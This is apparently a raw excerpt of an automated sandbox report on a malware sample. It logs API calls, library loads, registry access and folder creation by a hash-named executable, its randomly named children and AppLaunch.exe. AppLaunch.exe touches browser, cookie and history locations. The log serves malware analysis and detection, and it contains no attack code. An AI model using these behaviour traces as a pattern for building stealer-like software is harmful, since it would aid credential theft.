00000000-00003628) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003484) "AppLaunch.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003484) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310034342c2c4973576f77363450726f636573732c6b65726e656c33322e646c6c2c223235323a30343a34312e393231222c52583d302c50583d300030000039005c0063006f006e006600690067005c006d0061006300680069006e0065002e0063006f006e0066006900670000009d00009d (UID: 00000000-00003376) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000bceb1f008a87c474f87133006cec1f00980a0902980a0902000000002c30c474b2f4ed762730fb7654ec1f0000001d6700001d67bceb1f00e4eb1f00f0000000f0001d6700000000c0eb1f000000000054ed1f00000000000100000024ec1f0040f5ed76000000000000000010ec1f00 (UID: 00000000-00003376) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031005c38f0d207b29cfb753437375f000000000100000000000000010000005cf0d207000000002812470298f0d207e0613e0068f0d2078f9cfb753437375f020000000000000018000000010000006cf0d2072823106600002f00000000000c00000020225d0278f0d2072f99375f0c000000 (UID: 00000000-00003376) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100000100000058ed1f006a6f246600000000bc6f246657591e5bd4e81f000000000040f21f0015dec2751370c52efeffffff7f67ca75e2d80a7628246b6e02000000000000001800000030a5375f18ed1f002823106600002f00000000000c00000030a5375f24ed1f002f99375f0c000000 (UID: 00000000-00003376) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310076f09adc0620eddb0600000000f09adc06100000000000000030ec1f0050dc9075f09adc061000000004fcda06540acc00100000005cec1f00a6ecc56f02000000000000001800000028c7c56f60ec1f002823106600002f00000000000c00000028c7c56f6cec1f002f99375f0c000000 (UID: 00000000-00003376) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100000100000004ec1f006a6f246600000000bc6f2466235e1e5b80e71f000000000040f21f0015dec2751370c52efeffffff7f67ca75e2d80a7628246b6e02000000000000001800000030a5375fc4eb1f002823106600002f00000000000c00000030a5375fd0eb1f002f99375f0c000000 (UID: 00000000-00003376) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310068e060da0600000000e8f4f607a826ed68e060da0634f5f6070723ec68e060da0620000000000000005c37ec682812470220825f022812470220825f0202000000000000001800000012218d7038f5f6072823106600002f00000000000c00000020825f0244f5f6072f99375f0c000000 (UID: 00000000-00003376) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310076f09adc0620eddb0600000000f09adc061000000000000000dcea1f0050dc9075f09adc06100000008c37db06fc9ece001000000008eb1f00a6ecc56f02000000000000001800000028c7c56f0ceb1f002823106600002f00000000000c00000028c7c56f18eb1f002f99375f0c000000 (UID: 00000000-00003376) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100681865da060000000058f2e807a826ed681865da06a4f2e8070723ec681865da0620000000000000005c37ec682812470220c25f022812470220c25f0202000000000000001800000012218d70a8f2e8072823106600002f00000000000c00000020c25f02b4f2e8072f99375f0c000000 (UID: 00000000-00003376) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310076f09adc0620eddb0600000000f09adc061000000000000000d8ea1f0050dc9075f09adc06100000008c37db06b492ce001000000004eb1f00a6ecc56f02000000000000001800000028c7c56f08eb1f002823106600002f00000000000c00000028c7c56f14eb1f002f99375f0c000000 (UID: 00000000-00003376) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310076f09adc0620eddb0600000000f09adc061000000000000000d8ea1f0050dc9075f09adc06100000008c37db06e43ace001000000004eb1f00a6ecc56f02000000000000001800000028c7c56f08eb1f002823106600002f00000000000c00000028c7c56f14eb1f002f99375f0c000000 (UID: 00000000-00003376) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100688066da060000000088f3f807a826ed688066da06d4f3f8070723ec688066da0620000000000000005c37ec682812470220026002281247022002600202000000000000001800000012218d70d8f3f8072823106600002f00000000000c00000020026002e4f3f8072f99375f0c000000 (UID: 00000000-00003376) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310076f09adc0620eddb0600000000f09adc061000000000000000dcea1f0050dc9075f09adc06100000003cb0df065c3cce001000000008eb1f00a6ecc56f02000000000000001800000028c7c56f0ceb1f002823106600002f00000000000c00000028c7c56f18eb1f002f99375f0c000000 (UID: 00000000-00003376) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310076f09adc0620eddb0600000000f09adc061000000000000000dcea1f0050dc9075f09adc061000000004fcda068c94ce001000000008eb1f00a6ecc56f02000000000000001800000028c7c56f0ceb1f002823106600002f00000000000c00000028c7c56f18eb1f002f99375f0c000000 (UID: 00000000-00003376)32:T550,Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "GetSystemTimePreciseAsFileTime" (Indicator: "GetSystemTime"; File: "8Ui694dn.exe.2191842284") Found reference to API "GetSystemTimePreciseAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00002516.00000000.68589.00FD1000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00002516.00000000.68589.00FD1000.00000002.mdmp, 00000000-00002516.00000000.68589.00FD9000.00000004.mdmp, 00000000-00002516.00000001.68626.00FD9000.00000004.mdmp") Found reference to API "GetSystemTimePreciseAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00002772.00000000.69547.00EF1000.00000002.mdmp, 00000000-00002772.00000002.72803.00EF1000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00002772.00000000.69547.00EF1000.00000002.mdmp, 00000000-00002772.00000002.72803.00EF1000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp")33:T7e0,"fa951d632a6b1c8efb577fc5b43a64b5.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "fa951d632a6b1c8efb577fc5b43a64b5.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "Ia3cO08.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "Ia3cO08.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "QX6jY18.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "QX6jY18.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "Qb7Pk11.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "Qb7Pk11.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "1gT33kS4.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "1gT33kS4.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "2iq2723.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "2iq2723.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "7TG93zJ.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "8Ui694dn.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "8Ui694dn.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "9yR3LL2.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED")34:T5ac,Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "GetMonitorInfo" (Indicator: "GetMonitorInfo"; File: "00003376.00000D30.52092998.00402000.wprm") Found reference to API "GetMonitorInfo" (Indicator: "GetMonitorInfo"; Source: "00000000-00002772.00000001.71465.00EF9000.00000004.mdmp, 00000000-00002772.00000002.72803.00EF9000.00000004.mdmp") Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp")35:T550,Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "GetSystemTimePreciseAsFileTime" (Indicator: "GetSystemTime"; File: "8Ui694dn.exe.2191842284") Found reference to API "GetSystemTimePreciseAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00002516.00000000.68589.00FD1000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00002516.00000000.68589.00FD1000.00000002.mdmp, 00000000-00002516.00000000.68589.00FD9000.00000004.mdmp, 00000000-00002516.00000001.68626.00FD9000.00000004.mdmp") Found reference to API "GetSystemTimePreciseAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00002772.00000000.69547.00EF1000.00000002.mdmp, 00000000-00002772.00000002.72803.00EF1000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00002772.00000000.69547.00EF1000.00000002.mdmp, 00000000-00002772.00000002.72803.00EF1000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp")36:T8af,Found reference to API "GetVersion" (Indicator: "GetVersion"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "GetVersionInfo" (Indicator: "GetVersion"; File: "00003376.00000D30.52092998.00402000.wprm") Found reference to API "GetVersionInfo" (Indicator: "GetVersion"; Source: "00000000-00002772.00000001.71465.00EF9000.00000004.mdmp, 00000000-00002772.00000002.72803.00EF9000.00000004.mdmp") Found reference to API "17264333477,2844,3024,,RtlGetVersion,NTDLL.dll,"252:02:59.859",RX=0,PX=0" (Indicator: "GetVersion"; Source: "00000000-00003072.00000000.67220.00400000.00000004.mdmp") Found reference to API "49847109823,2844,3024,,RtlGetVersion,NTDLL.dll,"252:03:27.281",RX=0,PX=0" (Indicator: "GetVersion"; Source: "00000000-00003072.00000001.69114.00400000.00000004.mdmp") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp")37:T74a,"AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "REGISTRATIONENABLED"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "ENABLEDHCP"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "REGISTERADAPTERNAME"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DOMAIN"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DHCPDOMAIN"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "")38:T536,"AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\CLIENTS\STARTMENUINTERNET"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE\SHELL\OPEN\COMMAND"; Key: ""; Value: "")39:T574,"AppLaunch.exe" queries volume information of "C:\" at 00000000-00003484-0000010C-7962269 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" at 00000000-00003376-0000010C-20558979 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll" at 00000000-00003376-0000010C-43965740 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll" at 00000000-00003376-0000010C-43990099 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll" at 00000000-00003376-0000010C-46786790 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll" at 00000000-00003376-0000010C-46808865 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00003376-0000010C-48078777 "AppLaunch.exe" queries volume information of "C:\" at 00000000-00001928-0000010C-89473483a:T6cc,"AppLaunch.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00003484) "AppLaunch.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Local (UID: 00000000-00003484) "AppLaunch.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files (UID: 00000000-00003484) "AppLaunch.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00003484) "AppLaunch.exe" called "CreateDirectoryW" with parameter %APPDATA%\Microsoft\Windows\Cookies (UID: 00000000-00003484) "AppLaunch.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\History (UID: 00000000-00003484) "AppLaunch.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00003376) "AppLaunch.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00003376) "AppLaunch.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\SystemCache (UID: 00000000-00003376) "AppLaunch.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00001928) "AppLaunch.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Local (UID: 00000000-00001928) "AppLaunch.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files (UID: 00000000-00001928) "AppLaunch.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00001928) "AppLaunch.exe" called "CreateDirectoryW" with parameter %APPDATA%\Microsoft\Windows\Cookies (UID: 00000000-00001928) "AppLaunch.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\History (UID: 00000000-00001928)3b:T4ed1,"fa951d632a6b1c8efb577fc5b43a64b5.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003396) "Ia3cO08.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00004012) "QX6jY18.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00003072) "QX6jY18.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003072) "QX6jY18.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003072) "QX6jY18.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003072) "QX6jY18.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003072) "Qb7Pk11.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00003344) "1gT33kS4.exe" called "LoadLibrary" with a parameter UxTheme.dll (UID: 00000000-00003628) "1gT33kS4.exe" called "LoadLibrary" with a parameter IMM32.dll (UID: 00000000-00003628) "1gT33kS4.exe" called "LoadLibrary" with a parameter comctl32 (UID: 00000000-00003628) "1gT33kS4.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00003628) "1gT33kS4.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00003628) "1gT33kS4.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003628) "1gT33kS4.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00003628) "1gT33kS4.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003628) "1gT33kS4.exe" called "LoadLibrary" with a parameter iertutil.dll (UID: 00000000-00003628) "1gT33kS4.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-ole32-l1-1-0.dll (UID: 00000000-00003628) "1gT33kS4.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00003628) "1gT33kS4.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00003628) "1gT33kS4.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shlwapi-l2-1-0.dll (UID: 00000000-00003628) "1gT33kS4.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00003628) "1gT33kS4.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003628) "1gT33kS4.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00003628) "1gT33kS4.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\ieframe.dll (UID: 00000000-00003628) "1gT33kS4.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\Internet Explorer\ieproxy.dll (UID: 00000000-00003628) "2iq2723.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00002516) "AppLaunch.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00003484) "AppLaunch.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003484) "AppLaunch.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00003484) "AppLaunch.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003484) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l2-1-0.dll (UID: 00000000-00003484) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-ole32-l1-1-0.dll (UID: 00000000-00003484) "AppLaunch.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00003484) "AppLaunch.exe" called "LoadLibrary" with a parameter IPHLPAPI.DLL (UID: 00000000-00003484) "AppLaunch.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00003484) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shlwapi-l2-1-0.dll (UID: 00000000-00003484) "AppLaunch.exe" called "LoadLibrary" with a parameter DNSAPI.dll (UID: 00000000-00003484) "AppLaunch.exe" called "LoadLibrary" with a parameter Comctl32.dll (UID: 00000000-00003484) "AppLaunch.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00003484) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\ws2_32 (UID: 00000000-00003484) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00003484) "7TG93zJ.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002508) "7TG93zJ.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002508) "7TG93zJ.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002508) "7TG93zJ.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002508) "8Ui694dn.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00002772) "AppLaunch.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0\clr.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00003376) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00003376) 